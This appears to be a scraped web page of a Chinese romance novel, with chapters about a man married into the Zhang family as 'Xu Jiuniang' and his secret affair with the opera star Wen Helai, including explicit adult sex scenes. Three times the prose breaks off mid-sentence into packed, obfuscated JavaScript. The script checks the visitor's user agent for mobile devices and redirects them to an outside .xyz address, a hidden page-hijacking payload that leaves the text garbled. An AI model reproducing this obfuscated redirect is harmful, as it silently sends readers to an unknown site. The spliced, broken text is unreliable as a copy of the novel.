p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887513|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “出去。” 许明意看了张靖遥一眼,踌躇须臾,还是退了出去。 许明意不知张靖遥今日的异样是因为什么,他也不想再揣度他的悲喜了,张靖遥的悲也好,喜也罢,总不会是因为他。 他夜里是宿在隔壁的厢房的,蜷缩在榻上时,许明意想到了闻鹤来,恍了恍神,他已经好几日没有出过张府了。不知闻鹤来这几日唱了什么戏,他……会想起自己吗? 许明意又想到了张靖遥额头的伤,张家二老肃然的面容浮现在眼前,他焦虑地咬了咬自己的指骨,睡意消失得无影无踪,只剩下满心惶然。 自嫁到张家之后,许明意处处小心谨慎,事事隐忍退让,无一日不是如履薄冰,战战兢兢。可好像不知何时起就发生了变化……是从哪一日开始的?好像,是自认识闻鹤来之后。 他背着张家,杜撰了各种谎言,去听戏,去和男人私会,而今甚至打伤了张靖遥。 许明意恍惚间觉得自己站在了悬崖边,脚下碎石滚落,是深不可测的万丈深渊,稍有不慎,就是粉身碎骨。 许明意辗转了一夜,没想到,张靖遥并未将此事告知张家二老。 张夫人问起张靖遥额上的伤,他轻描淡写地说自己不小心弄伤的,没提及许明意。 一旁的许明意闻言愣了下,复杂地看了看张靖遥。张夫人显然不信,她皱着眉,目光自张靖遥脸上滑开,落在许明意身上,许明意脊背紧绷,心几乎要跳出嗓子眼。 张父没有多想,淡淡道:“这几日也荒唐够了,想清楚了吗?” 张靖遥不吭声。 张父恨铁不成钢,说:“你真是要将张家的脸都丢尽了才肯罢休吗?看看为了一个戏子,把自己弄成了什么样……” 眼见着张靖遥沉下脸,父子二人气氛变得紧张,张夫人忙开口打圆场,再顾不得其他。 那日过后,张靖遥又变得和往日无异,只是每天回来得更早,也不再宿在外头,好像是终于接受了他和付邻春之间的不可能。他也不再寻许明意的麻烦,二人似乎又变回了原样,可许明意知道,已经不一样了。 有时许明意也会想,不如就到底为止吧,悬崖勒马,趁现在还有退路——至少没有人窥破这段见不得光的奸情。 他和闻鹤来之间的事,一旦被发现,不但他会死,就连闻鹤来只怕也讨不得好。可每每想到此处,许明意心里就生出几分不甘心,留恋。 那份留恋在某个夜里,张靖遥碰许明意的那一刻,达到巅峰。 屋里依旧只留了一盏灯,二人同榻而眠,许明意这些日子睡不踏实,半睡半醒间恍惚觉得身后贴上了一具滚烫的身躯。许明意一下子惊醒了,“大少爷?” 张靖遥的呼吸有些粗重,没有说话,许明意颤了颤,胡乱道:“夜已经……已经深了,您明日还要上衙。” 情欲难止。 张靖遥也无意止,许明意是他的妻子,陪他睡觉本就是他该做的事。既然人已经醒了,张靖遥索性也不忍耐,倾身压住了许明意,开口哑声道:“闭嘴。” 许明意咬了咬嘴唇。 一如既往地没有亲吻,没有抚摸,没有爱欲交融的温情。许明意睁开眼,看着床帐上的云纹,一颠一颠里,突然觉出无法形容的空虚,竟愈发怀念起闻鹤来结实的胸膛和搂抱着他的修长手臂,嘴唇呼吸也是热的,吻着他,轻易就撩拨得许明意心神战栗,仿佛卧入缓缓流淌的温池里。 许明意眼神迷离了起来。 张靖遥他看着身下的许明意,许明意背对着他,头发长,散了满背,薄红的耳朵在乌黑发丝里,看着分外柔软可口。鬼使神差的,张靖遥俯身咬了下去,许明意颤了下,他只听许明意一把柔软得能掐出水的声音,啜泣着,说:“张靖遥。” 那声音勾得张靖遥瞬间失了神,恍惚间,竟见许明意别过脸望着他,那是一张雪白的脸,嘴唇湿红,艳得惊心动魄,说:“你抱我一下……” 张靖遥心脏仿佛被骤然捏紧。 许久之后,张靖遥再度想起当晚许明意那声张靖遥,他才咀嚼出,里头是藏着恨的。 10. 第 10 章 太平茶楼里一如既往的热闹,许明意一踏入其中,机灵的茶博士就发觉了,笑嘻嘻地迎了上来,说:“您可有好几日没来了,今日正巧,闻老板在台上呢。” “戏刚开。” 许明意不自在地退后了半步,轻轻点头,茶博士说:“还是雅间吗?” 不知怎的,许明意看着坐在台下的听客,台上正在走戏,咿咿呀呀好不喧腾。他摆了摆手,给了他几个银角子,有打赏,茶博士更是热络,道,“雅间有雅间的好,可底下也有底下的好,您这边请,我给您寻个位置,一准儿不让别人冲撞了您。” 许明意默不作声地跟着茶博士往里走,所幸戏已经开场,看客大都坐定了。今日天热,太平茶楼里的茶客不算多,茶博士带着许明意拣了个清净又能瞧见戏台的位置,说:“您打这儿一坐,闻爷抬眼瞧见您。” 许明意耳朵微红,他看向戏台,戏台宽敞,边儿上放着戏迷送的花篮。他抿抿嘴唇,又给了茶博士几个银元,茶博士循着他的目光看去,笑道:“您是想给闻爷送花篮?” 许明意点头,茶博士嘿然一笑,道:“得嘞,您先坐,小的这就去给您安排。” 他行许明意行了个礼就走了,转身时忍不住又看了许明意的背影一眼,心想,原来是个哑巴,真是可惜了。 台上今日唱的《马嵬坡》,闻鹤来今日是唐明皇。安史之乱后,杨贵妃于马嵬坡被赐死,两京恢复后,唐明皇折返京都时途径马嵬坡,触景伤怀,亲自祭奠杨贵妃。 台上的唐明皇不胜悲怆,唱道:“定情钿盒今犹在,长生密誓记心怀。冤怨缘三字孤不解,这才是伯劳飞燕两分开。看天台犹是人不在,我前度刘郎今又来……”① 唐明皇和杨贵妃的故事,许明意自然是知道的,那首《长恨歌》当年在许家时也曾读过。彼时许明意只是读过,背过,今日再听闻鹤来将唐明皇的悔,遗憾一一唱来,不知怎的,竟没有丝毫动容。他想,再是深情,可赐死她的,分明就是唐明皇自己。 戏,许明意不喜欢,不过许明意今日来,为的也不是听戏。 不知为什么,台下看客不少,闻鹤来登了台,一眼就看见了角落中的许明意。他戴着帷帽,薄纱卷了起来,露出那张白皙的面容,许明意正专注地看着他。 二人目光相对,台下的许明意不知闻鹤来是不是在看他,却下意识地挺直了脊背,抿了抿嘴唇。 闻鹤来虽看了许明意一眼,身上功夫却没有怠慢,如常地唱了下去。闻鹤来练戏多年,他是个好苗子,身段好,又有练功的底子,闻鹤来的师傅曾想让他唱武生,兜兜转转,闻鹤来还是成了老生,成了四九城里颇有声名的梨园闻老板。 这折戏不长,闻鹤来下了戏台就着人去请许明意,他在屋子里卸妆。 细细算来,许明意已经有些时日没有来了,闻鹤来几乎以为许明意想悬崖勒马,回头了。四九城梨园行就这么大,闻鹤来和付邻春都是梨园年轻一辈的翘楚,张靖遥又是付邻春的拥趸,二人翻脸的事情瞒不住,闻鹤来自是有所耳闻。闻鹤来想,许明意是见张靖遥和付邻春断交,又想退回去,做张靖遥的好妻子了? 闻鹤来和许明意相交了这些时日,即便许明意没说,闻鹤来也知道,许明意心里是有张靖遥的——无论是出于真心抑或是这个人是他的丈夫。 想着和许明意就此陌路,闻鹤来倒是有那么点惋惜,他还是挺喜欢许明意的。不过闻鹤来也没想过将许明意和自己的私情捅出去,这忒缺德,也很麻烦,闻鹤来自认不是个好人,可也不至干出这样的事。 他喜欢好聚好散。 只当是露水姻缘了。 这么一想,闻鹤来又有点蠢蠢欲动,就像是尝着了好东西,又没尝够,心里惦记。 没想到许明意就来了。 这可是自己送上来的,闻鹤来想,这便是许明意日后再想抽身而退,也不是他说了算了。 许明意跟着戏班子的人去了后台,后台人多眼杂,许明意还是头一遭来。戏班子里的人都探着脑袋,好奇地望着这个戴着帷帽的女人,即便看不清对方面容,那身罗裙,也和戏班子后台半点不相衬,有点雨露娇养的花儿跌入灰扑扑的沟壑泥壤里似的。 许明意不惯别人打量的目光,他来这儿的目的本就不能对人言,这样赤裸裸的眼神,一张张勾了各色油彩的脸,搁在一旁的京剧行头道具,让许明意好似进入一场光怪陆离的世界。 许明意没来由的心生退意。 “小叶子,这谁啊?”有胆大的开了口,天气热,他袒露着汗津津的胸膛,目光很放肆地在许明意遮得严严实实的身体上打转。 引许明意进来的少年十五六岁,闻言道:“这是闻爷的贵客,收起你们的狗眼。” 贵客——一个戏班子里的,知道闻鹤来风流,顿时哟哟起哄地笑起来,说,“闻爷的贵客?是娇客吧。” 许明意藏在帷帽下的脸都胀得通红。 “滚蛋,”小叶子笑骂道:“嘴巴放干净点,让闻爷听见了,扒了你们的皮!” 有人还想说话,就听一记开门声响起,顿时所有人都紧了紧神色,不再说笑。闻鹤来面上的油彩还没洗净,他扫了眼,就迈长腿朝许明意走了过去。 隔了薄纱,许明意看着闻鹤来的身影越走越近,莫名的有些紧张,他还未有反应,闻鹤来已经握住了他的手,对戏班子里的人道:“活儿还没干完,晚上都不想去悦来饭庄吃饭了?” 小叶子机敏,笑嘻嘻道:“哥哥们赶紧的,弄完了晚上闻爷请大家伙儿吃饭。” 他这话一出,又有闻鹤来在,一个个都惦记起晚上的饭,顾不上许明意了。 许明意垂下眼睛,看着扣住自己腕子的手掌,掌心滚烫,握得又紧,激得许明意手指尖微微发麻,连抽出来也忘了,就这么被闻鹤来攥着手进了闻鹤来化妆的屋子。 一迈进去,门刚关上,许明意还没回过神,肩上一紧,闻鹤来已经吻了下来。 许明意睁大了眼睛,心快速地跳了起来。 闻鹤来的嘴唇也热,压着许明意柔软的唇肉,含糊不清地说他,“小没良心的。” 话幽幽怨怨的,许明意张开嘴想说点什么,湿热的舌头已经钻入了他口中。他吻得热烈,又凶,带了几分惩罚和痴缠的意味勾着许明意无所适从的舌。 这个吻如火,不过几个来回就将许明意点燃了。 许明意喜欢这样的吻。 他短促地喘息了一声,伸手勾上了闻鹤来的脖颈,仰着脸回应这滚烫的深吻。 一声轻响,帷帽落了地。 二人在门边吻了许久,许明意喘不过气,虚虚地抓着闻鹤来汗湿的发茬,叫他,“闻鹤来……” 闻鹤来抵着他的鼻尖蹭了蹭,又啄他的嘴唇,闷声笑,“你唇上的口脂都被我吃完了。” 许明意想起上一回二人在马车上,闻鹤来将他亲的嘴唇红肿被张夫人误以为他涂了艳色口脂一事,耳朵更红。今日许明意来时是特意上了妆的,他长得好,添了妆容,愈发显得眉眼精致。 闻鹤来看着他,伸手摸了摸他的脸颊,轻声道:“明意,我以为你再也不会来找我了。” 经年唱戏的人有一把好嗓子,说起情话来更是动人,许明意抬眼看着闻鹤来,心里有几分愧疚,他……的确是想过和闻鹤来再不相见的。可要如何和闻鹤来说呢?许明意本就不擅剖白心事,他凑过去亲了亲闻鹤来的唇角,闻鹤来被他笨拙的讨好逗得笑了起来,对许明意说:“雅间还给你留着呢,怎么不去?” 许明意小声道:“想离你近一点儿。” 这话说得太真诚,又小心翼翼,让见惯风月的闻鹤来都顿了顿,他看着许明意,收紧手臂将许明意搂入怀中,低声笑道:“想我了吗?” 许明意:“嗯。” 他陷在闻鹤来炽热的拥抱里,想,果然,不同的男人,拥抱也是不一样的。 唱戏是个体力活儿,闻鹤来唱完戏向来是要吃些东西的,送饭食来的还是小叶子,东西送完便退了下去。 许明意便陪着闻鹤来吃东西,闻鹤来惯会哄许明意开心,不过三言两语,二人那点十来日不见的生疏就淡了,不知是如何开始的,二人就黏黏糊糊地亲到了一起。 天热,闻鹤来刚换下戏袍,擦洗过,里头穿的是对襟褂子,露出年轻人精壮结实的胳膊。闻鹤来练了近十年戏,文武兼唱,一身肌肉是实打实摔打出来的,许明意自小瘦弱,又被套上罗裙禁锢在红装之下,心底里却是憧憬这样充斥着力量感的躯体,被挨挤着的每一寸皮肉都烧了起来。 许明意被吻得意乱情迷,恍惚里觉察闻鹤来在解他衣襟,他眼睫毛簌簌的直发抖,低声说:“外面有人。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻鹤来无意去深思许明意的心思,却喜欢极了他这样的晓意讨好,男人骨子里的恶劣征服欲被满足到了极致。 许明意被他弄得想闪躲,蹬了蹬腿,却被压得更紧,他揪着闻鹤来的衣服,低声道:“不喜欢吗?” 闻鹤来低头闻了许明意,嗅着了许明意身上干净而清淡的香气,说:“喜欢。” 外头隐隐传来戏班子里的人收拾东西的声音,屋内却满室春情。 许明意恍恍惚惚地想起张靖遥那日突然咬他的耳朵,和那个拥抱——许明意喜欢情事中的温存,张靖遥却从来不给他。那是张靖遥头一回俯身抱了他,汗津津的胸膛贴紧他的后背,许明意听见了张靖遥的心脏激烈跳动的声音。许明意想,张靖遥也会因为他而心跳加快吗?不,不是因为他——是因为床事。 张靖遥抱着许明意达到了高潮,可那份激烈的欢愉过后,他回过神,看着怀中的许明意,他顿生一种惊愕和无措,飞快地放开了许明意。 那晚张靖遥丢下一句让许明意好好休息便落荒而逃。 随着张靖遥的离去,屋子里的情欲气息似乎也淡了,被抱过后猝然丢失的空虚和冰冷让许明意愈发觉得冷,觉得讽刺,他情不自禁地蜷缩起自己的身体,将自己藏到了角落。 察觉了许明意的走神,闻鹤来垂下眼睛看着许明意,许明意面上是动情的,颧骨泛红,眼里布着水色,泫然欲泣。他心中陡然生出一丝微妙的不虞,面上却不显,亲亲热热地挨着许明意,“明意,好不容易来见我一回,不想我,还在想别人。” 他好委屈,许明意心里有一丝愧疚,眼角湿红,望着床边的闻鹤来,伸出手勾他的掌心,含糊道:“没有想别人……” 闻鹤来捏他的手指尖,说:“想张靖遥?” 他说:“明意,是张靖遥对你回心转意了?你心里其实还是更喜欢他的?” 许明意摇头,就听闻鹤来叹了口气,说道:“我明白,如今张靖遥和付邻春翻了脸——” “他们,翻脸了?”许明意愣了下,闻鹤来轻描淡写道,“是啊,整个梨园行都传遍了,惋惜着呢。” 许明意想起张靖遥这些时日的反常,原来如此,原来如此——许明意心中微冷,闻鹤来摸了摸他的脸颊,道:“明意,我会爱你的。” 11. 第 11 章 云雨毕,桌上的饭食也凉了,闻鹤来趿着鞋子去吩咐小叶子弄来净身的热水和果腹的点心。他回身时,许明意正缩在那张小床上,脊背雪白,侧着身,腰臀起伏分明很是漂亮。闻鹤来顶了顶齿尖,有些意犹未尽,他蹬了鞋子,又挨了过去,口中黏黏糊糊地叫着,“明意。” 床是木床,不大,本就是茶楼里给闻鹤来休憩之用。闻鹤来一上去,顿时显得逼仄,胸膛汗津津的,裹挟着炽热的气息,让许明意热意稍退的脸颊就滚烫了起来。闻鹤来那把祖师爷赏饭吃的好嗓子叫起别人的名字来,不过两个字,转过唇齿,就好像带了十二万分的深情,许明意听着,总有种闻鹤来当真很喜欢自己的感觉,缱绻动人。他圈着许明意,吻他单薄的肩膀,喁喁私语:“还难受吗?我给你揉一揉腰?” “我跟你说,外头人光知道我戏好,可不知道我推拿功夫也是一绝。” 二人如爱侣似的,温存亲昵,许明意并不习惯这样的温柔,脸颊泛红。闻鹤来不自觉地笑起来,说来也怪,许明意有时胆大得让他都吃惊,有时又纯稚青涩,就如蜷缩在壳里的蚌,撬开了,逼急了,方露出柔软多情的情态。 看来张靖遥是当真不待见许明意,闻鹤来是个人精,深谙深宅大院里的那些腌臜事,略略一思索就猜出许明意在张家处境尴尬。许明意生了这么副身子,张家若是不知道,许明意势必如履薄冰,可若是张家知道,还要娶许明意进门,就很耐人寻味了。 要是许明意和自己的事情被人发觉——这个念头在闻鹤来脑子里一掠而过,旋即就被他抛诸脑后。 闻鹤来没说假话,他推拿确有一手,按了片刻,许明意筋骨都似舒展了几分,闻鹤来邀功道:“如何?” 许明意看着他扬起的眉眼,抿着嘴唇笑了一下,难得的开玩笑,说:“闻老板若是以后不想唱戏,也没有饿肚子之虞了。” 闻鹤来哼笑了声,抬手伸入薄被下照着他的屁股就拍了一巴掌,说:“你当闻爷谁都给按吗?” 许明意被拍得叫了声,眼睛瞪得圆,闻鹤来却在回味手掌的触感,忍不住又想再拍一下,许明意正羞耻着,哪儿能教他再打着,裹着薄被就闪躲。闻鹤来也来了劲儿,攥被角一掀,钻了进去捉着那两条长腿,道:“躲什么?” “闻鹤来,别闹了……哎,别摸——”许明意被他弄得又痒又臊,缩着腿闪躲,还没回过神,就被掐住拖入被子里,青年结实精壮的身躯也压了过来。 许明意搂着闻鹤来的脖颈,叫他,“闻鹤来……” 闻鹤来吻着许明意泛红的眼皮,说:“待会儿给你上点儿药。” 闻鹤来方登过台,使足了力气,可兴许是正因着上过台,反而血脉沸腾,愈发龙精虎猛,起初还温柔小意,不过片刻就按捺不住,温柔不复。偏许明意在床上是个闷葫芦,不爱出声,憋得眼睛都红了也不闹脾气,还抓着闻鹤来,攥浮木似的不舍得撒手,勾得闻鹤来骨子里那点阴暗都蹿了出来。 闻鹤来本也非善类。 可许明意实在太乖了,倒不是说他没脾气,而是太过贪求闻鹤来给的爱,他亲上一亲,哄几句,便又忘了自己,百般纵容。 闻鹤来好风月,喜欢各色美丽的皮囊,享受着他人的喜爱追捧,却从不耽溺其中,多情又无情。这一刻便是连闻鹤来也没有发觉,在和许明意这场有悖伦常的交往里,他投注了远比他所想的更多的情感。 也许发现了,闻鹤来并没有在意,甚至自得其乐,毕竟闻老板从来不曾想过有一天,他会输在情之一字上。 许明意听着闻鹤来低缓的声音,眨了眨眼睛,不自在地夹紧腿,轻声说:“不要紧的。” 闻鹤来道:“要紧,”他说,“身体发肤,都属于自己,岂能不珍惜?” 许明意微怔,看着闻鹤来,道:“你不觉得我的身体……奇怪?” “这有什么可怪的,”闻鹤来说,“上天生就,便有它的道理,”他轻佻一笑,在许明意耳边道,“兴许,上天便是有意要让你领会这世间的极乐。” 许明意被他的话臊得耳朵通红,可那句“上天生就,便有它的道理”,却在他心底震荡了许久。许明意曾经一直在想,为什么独独他不一样?这是上天厌弃,予他的惩罚吗?可他做错了什么要受这等惩罚?他一直不明白,他分明什么都没有做错,可世上所有人都因着这多出的一处,就好似他便不配为人,不配立足于世间。 时间长了,便是许明意也会想,也许他真是做错了什么,或许上辈子他是十恶不赦的恶人,所以今生如此,是来赎罪的。 可许明意心底深处却隐隐有不赞同的声音,不对,不对……到底哪儿不对,许明意却说不出个所以然,也不敢深想,只能这么浑浑噩噩地过一日是一日。 可听闻鹤来这话,许明意心中隐隐浮现一个模糊的念头,这是上天生就的,便是不该有,便是有错,那就是他的错吗?他赤条条来到这个世上,他又能做错什么?以至要承受如此种种? 何况,多出这个东西——就一定是错吗? 不多时,小叶子送来了热水和点心,闻鹤来没让许明意动手,抱着他洗净罢,又黏黏糊糊地坐着,分食了一盅解暑的甜汤和几碟点心。 许明意吃得少,闻鹤来掂着他的手腕,道:“太瘦了,张靖遥连饭也不给你吃饱吗?” 许明意摇摇头,张家自然不至在这种事上苛待他。许明意幼时在许家时常饿肚子,毕竟没娘关照的庶子,有谁会在意?时间一长,胃口也养的小了。 闻鹤来掰了点心喂他嘴里,道:“尝尝,大顺斋的桂花糖火烧,豆糕。” “大顺斋是四九城的老字号了,祖上是个回回,专营点心,东西虽不起眼可味道不错,你尝尝看,要是合口味我让小叶子去给你买上一些带回去。” 盛情难却,许明意早已习惯了他人的恶意,更不知如何拒绝别人的善意。闻鹤来耐心喂他,他便也张嘴,一顿不合时的晌午点心就清茶吃下来,吃了个肚圆,撑着了。 闻鹤来乐不可支,揉他肚子,许明意有点儿不好意思,咕哝道:“我都说我吃饱了。” 闻鹤来哼笑道:“我喂第一口的时候你就说你吃饱了。” 突然,他想起什么,说:“你等我一会儿。” 说罢,松开许明意起身去柜子里翻东西,回来时手上多了个紫檀木的匣子,他递给许明意,说:“看看。” 许明意:“什么?” 闻鹤来卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887515|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关子,说:“打开就知道了。” 许明意擦了擦手,这才小心地打开,只见锦匣里是一块玉和一副耳饰,玉是精细雕刻而成的菩萨玉雕,质地细腻的羊脂白玉,色如截脂,耳饰嵌了绿莹莹的翡翠,通透清澈,做工精巧,这两样东西一看俱都是价值不菲。 许明意愣了愣,说:“这是……” 闻鹤来笑道:“喜欢吗?” 他说:“玉前些时日我拿去庙里让大师开过光,说是能辟邪,庇佑人平安如意,灵得很。” “这副耳饰觉得极衬你就买了,”闻鹤来看着许明意,拿起耳饰在他耳边比划了一下,道,“果然好看。” 许明意看着闻鹤来,没有说话。 闻鹤来说:“不喜欢?” “不喜欢也不要紧,你喜欢什么,”闻鹤来说,“我下回给你拿别的。” 许明意犹豫了片刻,摇摇头,闻鹤来瞧着他,伸手捏了捏他的腮帮子,说:“别瞒着我呀。” 许明意轻声说:“我听人说,花街里寻欢,要走的时候就会送些东西,当——” 他难以启齿,又小心翼翼地打量着闻鹤来的脸色,闻鹤来也不恼,想了想,道:“是我不好,不该挑这个时候送给你,让你误会。” “原是想着也不知下回见你是什么时候,”闻鹤来道,“是我太急躁了。” 许明意顿了下,看着闻鹤来,闻鹤来神情却很坦诚,摸了摸许明意的脸颊,笑道:“哪个败家子寻欢作乐这么大手笔,怕不是腿要被打折,”他说,“明意,我将它给你,只是想给你,想哄你开心。” 闻鹤来声音不疾不徐,十足坦荡,他和许明意之间,本就是图的是个开心。 许明意却恍了恍神,自小到大,从未有人想过他开不开心,更没有人会费心思哄他开心。他看着闻鹤来,低声道:“闻鹤来,你真的喜欢我吗?” 闻鹤来看着许明意,叹了口气,道:“我若不喜欢,何必费这些心思?” 许明意有点儿愧疚,勾了勾闻鹤来的手指,小声说:“对不住……” 闻鹤来捏着他的手泄愤似的凑嘴边咬了一口,听着许明意抽气的声音,哼哼唧唧道:“瞧着咱们明意也不像是逛花街的人,怎么还知道花街哄姑娘开心的手段,”他眯着眼睛上下打量许明意,说,“看来许少爷深藏不露?” 许明意已经许久没有听见许少爷这个称呼了,不自在,咬咬嘴唇,解释道:“……没有,是在家里的时候听家中的下人说的,”这话不假,许家大少爷流连勾栏瓦肆,在烟花地一掷千金,后来还偷了许家大少奶奶的首饰送给风月场上的头牌。这事儿不知怎的传了出去,在许府闹得鸡飞狗跳,饶是深居简出的许明意都有所耳闻,府上家丁更是津津乐道。 许明意拉着闻鹤来的手,说:“你别不高兴。” 闻鹤来哼笑了声,道:“不高兴。” “我好好的心意,被这般猜忌,怎么高兴的起来?” 许明意有点儿无措,闻鹤来看着许明意讷讷忐忑的模样,心中一软,余光扫了眼耳坠子,道:“除非——” 许明意顺着他的目光瞧见了那副耳坠,闻鹤来在他耳边耳语了几句,许明意的脸颊登时红了个透。 12. 第 12 章 当天,回张府的许明意脖子上就多了一块菩萨玉牌,贴着肉,藏在长袄里,如同他和闻鹤来见不得光的奸情。那之后的很长一段时间里,许明意都徘徊在张靖遥和闻鹤来身边,在张家,他是端庄温顺的张大少奶奶,在闻鹤来身边,是放浪的情人。 有时许明意也会想,他究竟想要个什么结果?如此下去,要么他和闻鹤来的私情瞒一辈子,要么被人发现,等着他们的,只怕是世人的指责——于他,大抵除死无他路。 何况闻鹤来……许明意也不知,他能和闻鹤来这么着走多久?许明意并不愚蠢。和闻鹤来在一起的时间长了,有关闻鹤来的种种就不自觉地钻入耳中,诸如他曾经的风流逸闻。这样耽于声色的一个人,对他的喜欢又有几分真?说出口的喜欢又能有多久? 许明意不知道。 这样的日子过得愈久,许明意愈发觉得自己好像割裂成了两个人。一个是许九娘,一个是短暂脱离“许九娘”这个泥沼,得以短暂的喘息,在和男人交欢里借着那点真假不知的爱又死而复生的许明意。 可怎么办呢?许明意想,就连这样他也不舍得松手。许明意怕他当真失去了闻鹤来,就会彻底遗忘许明意。 毕竟,许家在他以许九娘的身份出嫁之后,许家七少爷许明意就因病暴毙了。 许明意已经死了。 这一年雨水多,夏雨断断续续地下了四五日,四九城里风波也多,不太平。其实自民国成立已经有几年了,依旧民生凋敝,苦不堪言,像在一个漫长的黑夜里,看不到黎明。 许明意关好窗,回身时就见张靖遥正在穿衣服,理着衬衫袖扣的扣子。张靖遥个高腿长,洋人的衬衫长裤穿在他身上,显得挺拔矫健。 许明意说:“大少爷今日还要出门吗?管家说去上衙的那条路又积水了,车不好过。” 张靖遥随口应了声,道:“有些事,不能再堆着了。” 许明意看着他给自己打领带,脚下顿了顿,走近了,对张靖遥说:“我来吧。” 张靖遥微怔,抬起眼睛看着许明意,却见许明意垂着眼睛,面上是一贯的温顺。张靖遥公务繁忙,前些天出差在外头奔忙了几日,回来时就病了一场。他正当年轻,鲜少生病,这一病就是四五日,照顾他的自然是许明意。 无论如何,许明意还是张家大少奶奶,是张靖遥正儿八经的妻子。说来自二人结婚这大半年里,还是头一遭这样日夜相对,这样亲近,分明更亲密的事情都做过了。张靖遥起初有些不习惯,可见许明意平静的模样,他再抗拒,倒显得自己太过刻意。他病了,许明意是他的妻子,照顾他本就理所应当。 张靖遥是张家嫡出的少爷,自小到大眼高于顶,鲜有人能入眼——兴许是因着这场病,张靖遥头一回认真地看了看自己娶回来已有大半年的人。 意外的,他发觉许明意生得很好看,和付邻春的淡若皎皎月不一样,许明意眉眼清隽秀美,不过分女气,上了妆,又透着股子初春的葱茏温软,浓淡合宜,每一寸都恰到好处。 他恍了下神,反应过来时又有几分狼狈和恼怒——他怎么会觉得许明意生得好看?还看他看得……失了神。 鬼使神差的,张靖遥没有拒绝,他看着许明意伸出细软白皙的手指挽着他的领带,挨近了,仰着头认真地替他梳理领带,衣襟,心里突然涌出微妙古怪的感觉,好像这一刻,他才有种二人是新婚夫妇的实感。 其实也不算新婚了。 许明意是隆冬时嫁给他的,他们已经结婚大半年了。 突然,张靖遥的目光落在许明意脖子上,他抬手勾出一条红色的细带。许明意吓了一跳,下意识地退了一步,脖颈上挂着的玉牌也掉了出来。 玉是好玉,通透细腻,雕工精妙,刻的菩萨栩栩如生。 许明意攥着菩萨玉牌,心扑通扑通跳得快,面上却极力维持着平静,低声说:“戴着植福消灾的。” 玉牌眼生,张靖遥此前不曾见许明意戴过,只当是他带来的嫁妆,点了点头,也没有多问。临将出门前却想,植福消灾——消灾,消的哪门子灾?他心里郁郁,顿住脚步,回头看了许明意一眼,二人目光冷不丁的对上,许明意愣了下,有点儿无措,“大少爷?” 张靖遥看着他那小心翼翼的模样,话到嘴边又咽了下去,抬腿走了出去。 是夜。 雨淅淅沥沥的还未停,屋子里昏暗,暧昧的气息充斥着整个床帐。许明意跪伏在床上,浑身汗津津的,发髻散了,黑的发,白玉似的背,活色生香。恍恍惚惚里,许明意瞧见了脖颈间悬挂的菩萨玉牌,玉质好,菩萨宝相庄严。 那天,二人在闻鹤来那张小床上耳鬓厮磨了许久,闻鹤来缠人,亲自给许明意戴了那副耳坠子。闻鹤来这人胆大妄为,毫无敬畏之心,还想胡来,许明意又慌又耻,哪儿能由着他胡闹。闻鹤来只能退而求其次,让他衔着玉牌,戴着自己给的耳坠子,仿佛在许明意,这个别人的“妻”身上留下自己的痕迹。 玉牌湿漉漉的,亵渎神灵的羞耻感刺激得许明意慌乱无比——这可真是天大的罪过,神灵也不会宽恕他。他眼里落了泪,意识却在欲海里沉沦,面颊潮红,整个人看起来可怜极了。闻鹤来咽了咽,满心柔情,了了欲,搂着许明意百般温柔地哄他,说,都是他的错,上天要罚大不敬之罪也是罚他,乖乖不哭。 许明意不敢再看那玉,也不想再戴,可架不住闻鹤来磨人,亲得他手脚发软,心也软,望着闻鹤来那双眼睛,莫名其妙地就遂了他的意。之后玉牌也不曾解下,即便是而今在他和丈夫的婚床上。玉牌晃荡,虽是死物,却让许明意不可控地想到闻鹤来,仿佛闻鹤来正在看着他和张靖遥行这事,强烈的背德感几乎让许明意喘不过气。他吃力地伸出手攥住晃动的玉牌,好似要攥住不安的心,捂住他人的眼睛。 玉是好玉,触手生温,菩萨小像硌着脸颊显得有些粗糙,像闻鹤来粗粝的手掌。许明意仿佛被蛊惑了,徐徐地蹭着那块玉,恍惚间,就像闻着了闻鹤来身上的味道。 张靖遥搂着自己曾经厌弃无比的妻,恍惚间,好似咬住的是一颗不知何时就熟透的果子,果肉细腻,能嗅着果香,用力一掐,便能溢出甜软的汁。 他心脏狠狠跳了跳,情不自禁地呢喃了声,“……九娘。” 许明意望着他,如自迷离的梦里清醒了几分,唇一张,玉牌落了下去,也似张靖遥的心,震颤了一下。 玉牌挂在许明意颈上晃动了一下,张靖遥的心也随之而晃动,他看着许明意湿红的嘴唇,仿佛被引诱了,愈发口干舌燥,有那么片刻,他竟想吻许明意。 他疯了。 真的疯了。 张靖遥怔怔地盯着许明意,清醒又不清醒地想,他怎么会想吻许明意?可胸腔里鼓动的心脏如密集的鼓点在耳边大作,每一声都在催促他。他艰难地咽了下,强行逼自己转开视线,色字如刀,情欲蛊惑人心,张靖遥不想再沉湎其中继续失控,他欲抽身而退,只是这么松弛的片刻,一具雪白的躯体扑入他怀中。 “张靖遥,”是许明意,他低下头,鼻尖在张靖遥面上逡巡,“大少爷。” 他声音发着抖,透着紧张,又藏着几分不易察觉的狠劲儿,像被逼至穷途的小兽,豁将出去,露出尖尖的獠牙。张靖遥却愣住了,二人身躯挨得紧,皮肉汗津津的发着烫,贴着存在感十足。许明意在张靖遥面前素来谨小慎微,温顺怯懦,尤其是在床上,他只会咬着牙,闷头受着。 